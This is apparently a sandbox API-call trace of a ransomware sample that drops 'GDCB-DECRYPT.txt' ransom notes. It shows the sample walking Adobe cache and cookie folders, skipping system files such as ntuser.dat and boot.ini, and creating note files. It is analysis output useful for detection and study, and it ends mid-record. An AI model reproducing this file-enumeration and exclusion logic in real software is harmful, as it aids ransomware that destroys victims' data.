Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.265] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.265] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 215 [0170.265] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 215 [0170.265] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.265] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.265] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.265] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 215 [0170.265] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 215 [0170.265] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.266] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.266] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.266] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 215 [0170.266] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 215 [0170.266] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.266] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.266] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.266] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 225 [0170.266] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 225 [0170.266] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 225 [0170.266] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 225 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.266] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.266] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.266] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.267] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.267] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 214 [0170.267] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 214 [0170.267] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.267] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.267] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.267] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 219 [0170.267] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 219 [0170.267] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 219 [0170.267] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 219 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.267] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.267] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.267] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.267] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.268] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 216 [0170.268] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 216 [0170.268] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.268] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.268] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0170.268] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.268] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.268] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.268] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 204 [0170.268] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.268] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0x5dd410 [0170.269] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.269] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.269] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.269] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.269] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.269] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.269] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.269] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.269] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 211 [0170.269] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.269] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.269] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.269] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.269] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 219 [0170.269] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 1 [0170.269] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.269] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.269] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.269] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 220 [0170.269] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.269] FindNextFileW (in: hFindFile=0x5dd410, lpFindFileData=0x285d1d0 | out: lpFindFileData=0x285d1d0) returned 0 [0170.269] FindClose (in: hFindFile=0x5dd410 | out: hFindFile=0x5dd410) returned 1 [0170.269] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.269] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 221 [0170.269] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.271] GetLastError () returned 0x50 [0170.271] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.271] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 204 [0170.271] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.271] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d440 | out: lpFindFileData=0x285d440) returned 0x5dd550 [0170.271] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.271] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.271] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 211 [0170.271] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 211 [0170.271] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.272] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.272] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.272] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 219 [0170.272] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 219 [0170.272] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.272] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.272] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.272] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 220 [0170.272] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 220 [0170.272] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 